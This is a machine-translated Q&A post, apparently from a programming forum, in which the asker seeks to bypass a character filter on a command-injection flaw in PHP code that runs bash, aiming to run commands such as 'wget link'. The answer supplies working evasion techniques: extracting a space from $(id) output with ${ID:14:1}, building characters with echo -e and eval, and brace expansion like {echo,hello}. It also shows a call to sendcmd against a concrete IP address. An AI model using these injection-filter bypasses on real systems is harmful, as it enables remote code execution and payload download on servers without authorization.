我有PHP代码使用一些bash代码,PHP代码可以运行它,它有一个错误,使bash中的RCE,
该命令也将执行“$(id)”命令
但如果我执行任何其他命令,如“ls -la”,它有一个空格 空格自动替换为“ - ”
我也检查了来源,我发现以下字符空格,',`,/,\,<,>,?,&,| 已过滤
如何绕过它们并执行像“wget link”这样的命令并运行它完美
**** **** UPDATE
我将以下代码添加为实例。 在sendcmd函数中发送命令
`https://pastebin.com/raw/1MfR6aic`
答案 0 :(得分:1)
这是id
uid=1000(ibug) gid=1000(ibug)
由于这些字符未经过滤,您可以获得未经过滤的空格,如下所示:
ID=$(id)
echo${ID:14:1}foo
现在你有空间了。您可以使用echo -e
,然后eval
表达几乎任何字符。
我尝试了你的PHP代码,发现它有效:
sendcmd("http://52.27.167.139", "{echo,hello}");
然后用括号括起来并使用逗号。 shell会将大括号扩展为
echo hello